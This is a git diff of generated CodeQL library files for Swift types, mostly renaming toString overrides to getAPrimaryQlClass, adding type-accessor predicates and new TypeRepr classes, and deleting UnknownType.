diff --git a/swift/ql/lib/codeql/swift/generated/type/MetatypeType.qll b/swift/ql/lib/codeql/swift/generated/type/MetatypeType.qll
index 376fa39728b..e6663f3b357 100644
--- a/swift/ql/lib/codeql/swift/generated/type/MetatypeType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/MetatypeType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.AnyMetatypeType
 
 class MetatypeTypeBase extends @metatype_type, AnyMetatypeType {
-  override string toString() { result = "MetatypeType" }
+  override string getAPrimaryQlClass() { result = "MetatypeType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/ModuleType.qll b/swift/ql/lib/codeql/swift/generated/type/ModuleType.qll
index a73ffdbf887..91da39854d7 100644
--- a/swift/ql/lib/codeql/swift/generated/type/ModuleType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/ModuleType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.Type
 
 class ModuleTypeBase extends @module_type, Type {
-  override string toString() { result = "ModuleType" }
+  override string getAPrimaryQlClass() { result = "ModuleType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/NestedArchetypeType.qll b/swift/ql/lib/codeql/swift/generated/type/NestedArchetypeType.qll
index 60a4b419321..7306e294785 100644
--- a/swift/ql/lib/codeql/swift/generated/type/NestedArchetypeType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/NestedArchetypeType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.ArchetypeType
 
 class NestedArchetypeTypeBase extends @nested_archetype_type, ArchetypeType {
-  override string toString() { result = "NestedArchetypeType" }
+  override string getAPrimaryQlClass() { result = "NestedArchetypeType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/OpaqueTypeArchetypeType.qll b/swift/ql/lib/codeql/swift/generated/type/OpaqueTypeArchetypeType.qll
index 4da709633ae..c0a1f637f3c 100644
--- a/swift/ql/lib/codeql/swift/generated/type/OpaqueTypeArchetypeType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/OpaqueTypeArchetypeType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.ArchetypeType
 
 class OpaqueTypeArchetypeTypeBase extends @opaque_type_archetype_type, ArchetypeType {
-  override string toString() { result = "OpaqueTypeArchetypeType" }
+  override string getAPrimaryQlClass() { result = "OpaqueTypeArchetypeType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/OpenedArchetypeType.qll b/swift/ql/lib/codeql/swift/generated/type/OpenedArchetypeType.qll
index 7fb6feee0df..2d723dfb10d 100644
--- a/swift/ql/lib/codeql/swift/generated/type/OpenedArchetypeType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/OpenedArchetypeType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.ArchetypeType
 
 class OpenedArchetypeTypeBase extends @opened_archetype_type, ArchetypeType {
-  override string toString() { result = "OpenedArchetypeType" }
+  override string getAPrimaryQlClass() { result = "OpenedArchetypeType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/OptionalType.qll b/swift/ql/lib/codeql/swift/generated/type/OptionalType.qll
index d30a2f46b3f..a814cf4d002 100644
--- a/swift/ql/lib/codeql/swift/generated/type/OptionalType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/OptionalType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.UnarySyntaxSugarType
 
 class OptionalTypeBase extends @optional_type, UnarySyntaxSugarType {
-  override string toString() { result = "OptionalType" }
+  override string getAPrimaryQlClass() { result = "OptionalType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/ParenType.qll b/swift/ql/lib/codeql/swift/generated/type/ParenType.qll
index e0d49f5ff10..b135fb728a5 100644
--- a/swift/ql/lib/codeql/swift/generated/type/ParenType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/ParenType.qll
@@ -1,6 +1,14 @@
 // generated by codegen/codegen.py
 import codeql.swift.elements.type.SugarType
+import codeql.swift.elements.type.Type
 
 class ParenTypeBase extends @paren_type, SugarType {
-  override string toString() { result = "ParenType" }
+  override string getAPrimaryQlClass() { result = "ParenType" }
+
+  Type getType() {
+    exists(Type x |
+      paren_types(this, x) and
+      result = x.resolve()
+    )
+  }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/PlaceholderType.qll b/swift/ql/lib/codeql/swift/generated/type/PlaceholderType.qll
index f5534efe9cd..134bdb7a6c8 100644
--- a/swift/ql/lib/codeql/swift/generated/type/PlaceholderType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/PlaceholderType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.Type
 
 class PlaceholderTypeBase extends @placeholder_type, Type {
-  override string toString() { result = "PlaceholderType" }
+  override string getAPrimaryQlClass() { result = "PlaceholderType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/PrimaryArchetypeType.qll b/swift/ql/lib/codeql/swift/generated/type/PrimaryArchetypeType.qll
index 0e71f5aca0e..6f062e05799 100644
--- a/swift/ql/lib/codeql/swift/generated/type/PrimaryArchetypeType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/PrimaryArchetypeType.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.type.ArchetypeType
 import codeql.swift.elements.type.GenericTypeParamType
 
 class PrimaryArchetypeTypeBase extends @primary_archetype_type, ArchetypeType {
-  override string toString() { result = "PrimaryArchetypeType" }
+  override string getAPrimaryQlClass() { result = "PrimaryArchetypeType" }
 
   GenericTypeParamType getInterfaceType() {
     exists(GenericTypeParamType x |
diff --git a/swift/ql/lib/codeql/swift/generated/type/ProtocolCompositionType.qll b/swift/ql/lib/codeql/swift/generated/type/ProtocolCompositionType.qll
index 9bb043938aa..863f8c8ca8b 100644
--- a/swift/ql/lib/codeql/swift/generated/type/ProtocolCompositionType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/ProtocolCompositionType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.Type
 
 class ProtocolCompositionTypeBase extends @protocol_composition_type, Type {
-  override string toString() { result = "ProtocolCompositionType" }
+  override string getAPrimaryQlClass() { result = "ProtocolCompositionType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/ProtocolType.qll b/swift/ql/lib/codeql/swift/generated/type/ProtocolType.qll
index f30992b60bc..9f157eb06ef 100644
--- a/swift/ql/lib/codeql/swift/generated/type/ProtocolType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/ProtocolType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.NominalType
 
 class ProtocolTypeBase extends @protocol_type, NominalType {
-  override string toString() { result = "ProtocolType" }
+  override string getAPrimaryQlClass() { result = "ProtocolType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/SequenceArchetypeType.qll b/swift/ql/lib/codeql/swift/generated/type/SequenceArchetypeType.qll
index 7b1b753d046..08a9350d9ac 100644
--- a/swift/ql/lib/codeql/swift/generated/type/SequenceArchetypeType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/SequenceArchetypeType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.ArchetypeType
 
 class SequenceArchetypeTypeBase extends @sequence_archetype_type, ArchetypeType {
-  override string toString() { result = "SequenceArchetypeType" }
+  override string getAPrimaryQlClass() { result = "SequenceArchetypeType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/SilBlockStorageType.qll b/swift/ql/lib/codeql/swift/generated/type/SilBlockStorageType.qll
index 3e76470b7db..185652e2e8a 100644
--- a/swift/ql/lib/codeql/swift/generated/type/SilBlockStorageType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/SilBlockStorageType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.Type
 
 class SilBlockStorageTypeBase extends @sil_block_storage_type, Type {
-  override string toString() { result = "SilBlockStorageType" }
+  override string getAPrimaryQlClass() { result = "SilBlockStorageType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/SilBoxType.qll b/swift/ql/lib/codeql/swift/generated/type/SilBoxType.qll
index c9372a2189e..5a879026ef3 100644
--- a/swift/ql/lib/codeql/swift/generated/type/SilBoxType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/SilBoxType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.Type
 
 class SilBoxTypeBase extends @sil_box_type, Type {
-  override string toString() { result = "SilBoxType" }
+  override string getAPrimaryQlClass() { result = "SilBoxType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/SilFunctionType.qll b/swift/ql/lib/codeql/swift/generated/type/SilFunctionType.qll
index 06095435896..103e80dddf1 100644
--- a/swift/ql/lib/codeql/swift/generated/type/SilFunctionType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/SilFunctionType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.Type
 
 class SilFunctionTypeBase extends @sil_function_type, Type {
-  override string toString() { result = "SilFunctionType" }
+  override string getAPrimaryQlClass() { result = "SilFunctionType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/SilTokenType.qll b/swift/ql/lib/codeql/swift/generated/type/SilTokenType.qll
index 0214692a3b0..50582c2b761 100644
--- a/swift/ql/lib/codeql/swift/generated/type/SilTokenType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/SilTokenType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.Type
 
 class SilTokenTypeBase extends @sil_token_type, Type {
-  override string toString() { result = "SilTokenType" }
+  override string getAPrimaryQlClass() { result = "SilTokenType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/StructType.qll b/swift/ql/lib/codeql/swift/generated/type/StructType.qll
index 4a78562f4a4..89b30746490 100644
--- a/swift/ql/lib/codeql/swift/generated/type/StructType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/StructType.qll
@@ -1,14 +1,6 @@
 // generated by codegen/codegen.py
 import codeql.swift.elements.type.NominalType
-import codeql.swift.elements.decl.StructDecl
 
 class StructTypeBase extends @struct_type, NominalType {
-  override string toString() { result = "StructType" }
-
-  StructDecl getDecl() {
-    exists(StructDecl x |
-      struct_types(this, x) and
-      result = x.resolve()
-    )
-  }
+  override string getAPrimaryQlClass() { result = "StructType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/TupleType.qll b/swift/ql/lib/codeql/swift/generated/type/TupleType.qll
index 91adaf4038f..93ce824d771 100644
--- a/swift/ql/lib/codeql/swift/generated/type/TupleType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/TupleType.qll
@@ -2,5 +2,22 @@
 import codeql.swift.elements.type.Type
 
 class TupleTypeBase extends @tuple_type, Type {
-  override string toString() { result = "TupleType" }
+  override string getAPrimaryQlClass() { result = "TupleType" }
+
+  Type getType(int index) {
+    exists(Type x |
+      tuple_type_types(this, index, x) and
+      result = x.resolve()
+    )
+  }
+
+  Type getAType() { result = getType(_) }
+
+  int getNumberOfTypes() { result = count(getAType()) }
+
+  string getName(int index) { tuple_type_names(this, index, result) }
+
+  string getAName() { result = getName(_) }
+
+  int getNumberOfNames() { result = count(getAName()) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/TypeAliasType.qll b/swift/ql/lib/codeql/swift/generated/type/TypeAliasType.qll
index 6807dc7b2a3..07787680465 100644
--- a/swift/ql/lib/codeql/swift/generated/type/TypeAliasType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/TypeAliasType.qll
@@ -1,6 +1,14 @@
 // generated by codegen/codegen.py
 import codeql.swift.elements.type.SugarType
+import codeql.swift.elements.decl.TypeAliasDecl
 
 class TypeAliasTypeBase extends @type_alias_type, SugarType {
-  override string toString() { result = "TypeAliasType" }
+  override string getAPrimaryQlClass() { result = "TypeAliasType" }
+
+  TypeAliasDecl getDecl() {
+    exists(TypeAliasDecl x |
+      type_alias_types(this, x) and
+      result = x.resolve()
+    )
+  }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/TypeVariableType.qll b/swift/ql/lib/codeql/swift/generated/type/TypeVariableType.qll
index 85b8fb8c908..c6c82c1e982 100644
--- a/swift/ql/lib/codeql/swift/generated/type/TypeVariableType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/TypeVariableType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.Type
 
 class TypeVariableTypeBase extends @type_variable_type, Type {
-  override string toString() { result = "TypeVariableType" }
+  override string getAPrimaryQlClass() { result = "TypeVariableType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/UnarySyntaxSugarType.qll b/swift/ql/lib/codeql/swift/generated/type/UnarySyntaxSugarType.qll
index b72d7335f38..29713f37367 100644
--- a/swift/ql/lib/codeql/swift/generated/type/UnarySyntaxSugarType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/UnarySyntaxSugarType.qll
@@ -1,4 +1,12 @@
 // generated by codegen/codegen.py
 import codeql.swift.elements.type.SyntaxSugarType
+import codeql.swift.elements.type.Type
 
-class UnarySyntaxSugarTypeBase extends @unary_syntax_sugar_type, SyntaxSugarType { }
+class UnarySyntaxSugarTypeBase extends @unary_syntax_sugar_type, SyntaxSugarType {
+  Type getBaseType() {
+    exists(Type x |
+      unary_syntax_sugar_types(this, x) and
+      result = x.resolve()
+    )
+  }
+}
diff --git a/swift/ql/lib/codeql/swift/generated/type/UnboundGenericType.qll b/swift/ql/lib/codeql/swift/generated/type/UnboundGenericType.qll
index e5cc43f760e..b4946cea77d 100644
--- a/swift/ql/lib/codeql/swift/generated/type/UnboundGenericType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/UnboundGenericType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.AnyGenericType
 
 class UnboundGenericTypeBase extends @unbound_generic_type, AnyGenericType {
-  override string toString() { result = "UnboundGenericType" }
+  override string getAPrimaryQlClass() { result = "UnboundGenericType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/UnknownType.qll b/swift/ql/lib/codeql/swift/generated/type/UnknownType.qll
deleted file mode 100644
index b5c925c0f9e..00000000000
--- a/swift/ql/lib/codeql/swift/generated/type/UnknownType.qll
+++ /dev/null
@@ -1,8 +0,0 @@
-// generated by codegen/codegen.py
-import codeql.swift.elements.type.Type
-
-class UnknownTypeBase extends @unknown_type, Type {
-  override string toString() { result = "UnknownType" }
-
-  string getName() { unknown_types(this, result) }
-}
diff --git a/swift/ql/lib/codeql/swift/generated/type/UnmanagedStorageType.qll b/swift/ql/lib/codeql/swift/generated/type/UnmanagedStorageType.qll
index 4ea8526ebb1..def9e7be671 100644
--- a/swift/ql/lib/codeql/swift/generated/type/UnmanagedStorageType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/UnmanagedStorageType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.ReferenceStorageType
 
 class UnmanagedStorageTypeBase extends @unmanaged_storage_type, ReferenceStorageType {
-  override string toString() { result = "UnmanagedStorageType" }
+  override string getAPrimaryQlClass() { result = "UnmanagedStorageType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/UnownedStorageType.qll b/swift/ql/lib/codeql/swift/generated/type/UnownedStorageType.qll
index 8cb1f8cd688..3a8b60c19b0 100644
--- a/swift/ql/lib/codeql/swift/generated/type/UnownedStorageType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/UnownedStorageType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.ReferenceStorageType
 
 class UnownedStorageTypeBase extends @unowned_storage_type, ReferenceStorageType {
-  override string toString() { result = "UnownedStorageType" }
+  override string getAPrimaryQlClass() { result = "UnownedStorageType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/UnresolvedType.qll b/swift/ql/lib/codeql/swift/generated/type/UnresolvedType.qll
index abab4e4a661..a5a5abb4d91 100644
--- a/swift/ql/lib/codeql/swift/generated/type/UnresolvedType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/UnresolvedType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.Type
 
 class UnresolvedTypeBase extends @unresolved_type, Type {
-  override string toString() { result = "UnresolvedType" }
+  override string getAPrimaryQlClass() { result = "UnresolvedType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/VariadicSequenceType.qll b/swift/ql/lib/codeql/swift/generated/type/VariadicSequenceType.qll
index 900b5a8821d..18ad64789df 100644
--- a/swift/ql/lib/codeql/swift/generated/type/VariadicSequenceType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/VariadicSequenceType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.UnarySyntaxSugarType
 
 class VariadicSequenceTypeBase extends @variadic_sequence_type, UnarySyntaxSugarType {
-  override string toString() { result = "VariadicSequenceType" }
+  override string getAPrimaryQlClass() { result = "VariadicSequenceType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/WeakStorageType.qll b/swift/ql/lib/codeql/swift/generated/type/WeakStorageType.qll
index 31a456058ca..ce6a8837816 100644
--- a/swift/ql/lib/codeql/swift/generated/type/WeakStorageType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/WeakStorageType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.ReferenceStorageType
 
 class WeakStorageTypeBase extends @weak_storage_type, ReferenceStorageType {
-  override string toString() { result = "WeakStorageType" }
+  override string getAPrimaryQlClass() { result = "WeakStorageType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/typerepr/ArrayTypeRepr.qll b/swift/ql/lib/codeql/swift/generated/typerepr/ArrayTypeRepr.qll
new file mode 100644
index 00000000000..486a98a541e
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/generated/typerepr/ArrayTypeRepr.qll
@@ -0,0 +1,6 @@
+// generated by codegen/codegen.py
+import codeql.swift.elements.typerepr.TypeRepr
+
+class ArrayTypeReprBase extends @array_type_repr, TypeRepr {
+  override string getAPrimaryQlClass() { result = "ArrayTypeRepr" }
+}
diff --git a/swift/ql/lib/codeql/swift/generated/typerepr/AttributedTypeRepr.qll b/swift/ql/lib/codeql/swift/generated/typerepr/AttributedTypeRepr.qll
new file mode 100644
index 00000000000..96d78c7c933
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/generated/typerepr/AttributedTypeRepr.qll
@@ -0,0 +1,6 @@
+// generated by codegen/codegen.py
+import codeql.swift.elements.typerepr.TypeRepr
+
+class AttributedTypeReprBase extends @attributed_type_repr, TypeRepr {
+  override string getAPrimaryQlClass() { result = "AttributedTypeRepr" }
+}
diff --git a/swift/ql/lib/codeql/swift/generated/typerepr/CompileTimeConstTypeRepr.qll b/swift/ql/lib/codeql/swift/generated/typerepr/CompileTimeConstTypeRepr.qll
new file mode 100644
index 00000000000..eecb67b9218
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/generated/typerepr/CompileTimeConstTypeRepr.qll
@@ -0,0 +1,6 @@
+// generated by codegen/codegen.py
+import codeql.swift.elements.typerepr.SpecifierTypeRepr
+
+class CompileTimeConstTypeReprBase extends @compile_time_const_type_repr, SpecifierTypeRepr {
+  override string getAPrimaryQlClass() { result = "CompileTimeConstTypeRepr" }
+}
diff --git a/swift/ql/lib/codeql/swift/generated/typerepr/ComponentIdentTypeRepr.qll b/swift/ql/lib/codeql/swift/generated/typerepr/ComponentIdentTypeRepr.qll
new file mode 100644
index 00000000000..d0323ad681d
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/generated/typerepr/ComponentIdentTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py
+import codeql.swift.elements.typerepr.IdentTypeRepr
+
+class ComponentIdentTypeReprBase extends @component_ident_type_repr, IdentTypeRepr { }
diff --git a/swift/ql/lib/codeql/swift/generated/typerepr/CompositionTypeRepr.qll b/swift/ql/lib/codeql/swift/generated/typerepr/CompositionTypeRepr.qll
new file mode 100644
index 00000000000..b0789100618
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/generated/typerepr/CompositionTypeRepr.qll
@@ -0,0 +1,6 @@
+// generated by codegen/codegen.py
+import codeql.swift.elements.typerepr.TypeRepr
+
+class CompositionTypeReprBase extends @composition_type_repr, TypeRepr {
+  override string getAPrimaryQlClass() { result = "CompositionTypeRepr" }
+}
diff --git a/swift/ql/lib/codeql/swift/generated/typerepr/CompoundIdentTypeRepr.qll b/swift/ql/lib/codeql/swift/generated/typerepr/CompoundIdentTypeRepr.qll
new file mode 100644
index 00000000000..7c1c3548272
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/generated/typerepr/CompoundIdentTypeRepr.qll
@@ -0,0 +1,6 @@
+// generated by codegen/codegen.py
+import codeql.swift.elements.typerepr.IdentTypeRepr
+
+class CompoundIdentTypeReprBase extends @compound_ident_type_repr, IdentTypeRepr {
+  override string getAPrimaryQlClass() { result = "CompoundIdentTypeRepr" }
+}
diff --git a/swift/ql/lib/codeql/swift/generated/typerepr/DictionaryTypeRepr.qll b/swift/ql/lib/codeql/swift/generated/typerepr/DictionaryTypeRepr.qll
new file mode 100644
index 00000000000..692b9352e20
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/generated/typerepr/DictionaryTypeRepr.qll
@@ -0,0 +1,6 @@
+// generated by codegen/codegen.py
+import codeql.swift.elements.typerepr.TypeRepr
+
+class DictionaryTypeReprBase extends @dictionary_type_repr, TypeRepr {
+  override string getAPrimaryQlClass() { result = "DictionaryTypeRepr" }
+}
diff --git a/swift/ql/lib/codeql/swift/generated/typerepr/ErrorTypeRepr.qll b/swift/ql/lib/codeql/swift/generated/typerepr/ErrorTypeRepr.qll
new file mode 100644
index 00000000000..511f7e25569
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/generated/typerepr/ErrorTypeRepr.qll
@@ -0,0 +1,6 @@
+// generated by codegen/codegen.py
+import codeql.swift.elements.typerepr.TypeRepr
+
+class ErrorTypeReprBase extends @error_type_repr, TypeRepr {
+  override string getAPrimaryQlClass() { result = "ErrorTypeRepr" }
+}
diff --git a/swift/ql/lib/codeql/swift/generated/typerepr/ExistentialTypeRepr.qll b/swift/ql/lib/codeql/swift/generated/typerepr/ExistentialTypeRepr.qll
new file mode 100644
index 00000000000..43aefeed5a9
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/generated/typerepr/ExistentialTypeRepr.qll
@@ -0,0 +1,6 @@
+// generated by codegen/codegen.py
+import codeql.swift.elements.typerepr.TypeRepr
+
+class ExistentialTypeReprBase extends @existential_type_repr, TypeRepr {
+  override string getAPrimaryQlClass() { result = "ExistentialTypeRepr" }
+}
diff --git a/swift/ql/lib/codeql/swift/generated/typerepr/FixedTypeRepr.qll b/swift/ql/lib/codeql/swift/generated/typerepr/FixedTypeRepr.qll
new file mode 100644
index 00000000000..2a6e59a90a8
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/generated/typerepr/FixedTypeRepr.qll
@@ -0,0 +1,6 @@
+// generated by codegen/codegen.py
+import codeql.swift.elements.typerepr.TypeRepr
+
+class FixedTypeReprBase extends @fixed_type_repr, TypeRepr {
+  override string getAPrimaryQlClass() { result = "FixedTypeRepr" }
+}
diff --git a/swift/ql/lib/codeql/swift/generated/typerepr/FunctionTypeRepr.qll b/swift/ql/lib/codeql/swift/generated/typerepr/FunctionTypeRepr.qll
new file mode 100644
index 00000000000..da781a90d4b
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/generated/typerepr/FunctionTypeRepr.qll
@@ -0,0 +1,6 @@
+// generated by codegen/codegen.py
+import codeql.swift.elements.typerepr.TypeRepr
+
+class FunctionTypeReprBase extends @function_type_repr, TypeRepr {
+  override string getAPrimaryQlClass() { result = "FunctionTypeRepr" }
+}
diff --git a/swift/ql/lib/codeql/swift/generated/typerepr/GenericIdentTypeRepr.qll b/swift/ql/lib/codeql/swift/generated/typerepr/GenericIdentTypeRepr.qll
new file mode 100644
index 00000000000..101985aca56
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/generated/typerepr/GenericIdentTypeRepr.qll
@@ -0,0 +1,6 @@
+// generated by codegen/codegen.py
+import codeql.swift.elements.typerepr.ComponentIdentTypeRepr
+
+class GenericIdentTypeReprBase extends @generic_ident_type_repr, ComponentIdentTypeRepr {
+  override string getAPrimaryQlClass() { result = "GenericIdentTypeRepr" }
+}
diff --git a/swift/ql/lib/codeql/swift/generated/typerepr/IdentTypeRepr.qll b/swift/ql/lib/codeql/swift/generated/typerepr/IdentTypeRepr.qll
new file mode 100644
index 00000000000..d71eca38b92
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/generated/typerepr/IdentTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py
+import codeql.swift.elements.typerepr.TypeRepr
+
+class IdentTypeReprBase extends @ident_type_repr, TypeRepr { }
diff --git a/swift/ql/lib/codeql/swift/generated/typerepr/ImplicitlyUnwrappedOptionalTypeRepr.qll b/swift/ql/lib/codeql/swift/generated/typerepr/ImplicitlyUnwrappedOptionalTypeRepr.qll
new file mode 100644
index 00000000000..e0759e0fa3c
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/generated/typerepr/ImplicitlyUnwrappedOptionalTypeRepr.qll
@@ -0,0 +1,7 @@
+// generated by codegen/codegen.py
+import codeql.swift.elements.typerepr.TypeRepr
+
+class ImplicitlyUnwrappedOptionalTypeReprBase extends @implicitly_unwrapped_optional_type_repr,
+  TypeRepr {
+  override string getAPrimaryQlClass() { result = "ImplicitlyUnwrappedOptionalTypeRepr" }
+}
diff --git a/swift/ql/lib/codeql/swift/generated/typerepr/InOutTypeRepr.qll b/swift/ql/lib/codeql/swift/generated/typerepr/InOutTypeRepr.qll
new file mode 100644
index 00000000000..a7adf859579
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/generated/typerepr/InOutTypeRepr.qll
@@ -0,0 +1,6 @@
+// generated by codegen/codegen.py
+import codeql.swift.elements.typerepr.SpecifierTypeRepr
+
+class InOutTypeReprBase extends @in_out_type_repr, SpecifierTypeRepr {
+  override string getAPrimaryQlClass() { result = "InOutTypeRepr" }
+}
diff --git a/swift/ql/lib/codeql/swift/generated/typerepr/IsolatedTypeRepr.qll b/swift/ql/lib/codeql/swift/generated/typerepr/IsolatedTypeRepr.qll
new file mode 100644
index 00000000000..63dcdd9e379
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/generated/typerepr/IsolatedTypeRepr.qll
@@ -0,0 +1,6 @@
+// generated by codegen/codegen.py
+import codeql.swift.elements.typerepr.SpecifierTypeRepr
+
+class IsolatedTypeReprBase extends @isolated_type_repr, SpecifierTypeRepr {
+  override string getAPrimaryQlClass() { result = "IsolatedTypeRepr" }
+}
diff --git a/swift/ql/lib/codeql/swift/generated/typerepr/MetatypeTypeRepr.qll b/swift/ql/lib/codeql/swift/generated/typerepr/MetatypeTypeRepr.qll
new file mode 100644
index 00000000000..e0477db158b
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/generated/typerepr/MetatypeTypeRepr.qll
@@ -0,0 +1,6 @@
+// generated by codegen/codegen.py
+import codeql.swift.elements.typerepr.TypeRepr
+
+class MetatypeTypeReprBase extends @metatype_type_repr, TypeRepr {
+  override string getAPrimaryQlClass() { result = "MetatypeTypeRepr" }
+}
diff --git a/swift/ql/lib/codeql/swift/generated/typerepr/NamedOpaqueReturnTypeRepr.qll b/swift/ql/lib/codeql/swift/generated/typerepr/NamedOpaqueReturnTypeRepr.qll
new file mode 100644
index 00000000000..af885d21ab4
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/generated/typerepr/NamedOpaqueReturnTypeRepr.qll
@@ -0,0 +1,6 @@
+// generated by codegen/codegen.py
+import codeql.swift.elements.typerepr.TypeRepr
+
+class NamedOpaqueReturnTypeReprBase extends @named_opaque_return_type_repr, TypeRepr {
+  override string getAPrimaryQlClass() { result = "NamedOpaqueReturnTypeRepr" }
+}
diff --git a/swift/ql/lib/codeql/swift/generated/typerepr/OpaqueReturnTypeRepr.qll b/swift/ql/lib/codeql/swift/generated/typerepr/OpaqueReturnTypeRepr.qll
new file mode 100644
index 00000000000..7ecb38e22c6
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/generated/typerepr/OpaqueReturnTypeRepr.qll
@@ -0,0 +1,6 @@
+// generated by codegen/codegen.py
+import codeql.swift.elements.typerepr.TypeRepr
+
+class OpaqueReturnTypeReprBase extends @opaque_return_type_repr, TypeRepr {
+  override string getAPrimaryQlClass() { result = "OpaqueReturnTypeRepr" }
+}
diff --git a/swift/ql/lib/codeql/swift/generated/typerepr/OptionalTypeRepr.qll b/swift/ql/lib/codeql/swift/generated/typerepr/OptionalTypeRepr.qll
new file mode 100644
index 00000000000..62a24285ef5
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/generated/typerepr/OptionalTypeRepr.qll
@@ -0,0 +1,6 @@
+// generated by codegen/codegen.py
+import codeql.swift.elements.typerepr.TypeRepr
+
+class OptionalTypeReprBase extends @optional_type_repr, TypeRepr {
+  override string getAPrimaryQlClass() { result = "OptionalTypeRepr" }
+}
diff --git a/swift/ql/lib/codeql/swift/generated/typerepr/OwnedTypeRepr.qll b/swift/ql/lib/codeql/swift/generated/typerepr/OwnedTypeRepr.qll
new file mode 100644
index 00000000000..b24ca1aa597
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/generated/typerepr/OwnedTypeRepr.qll
@@ -0,0 +1,6 @@
+// generated by codegen/codegen.py
+import codeql.swift.elements.typerepr.SpecifierTypeRepr
+
+class OwnedTypeReprBase extends @owned_type_repr, SpecifierTypeRepr {
+  override string getAPrimaryQlClass() { result = "OwnedTypeRepr" }
+}
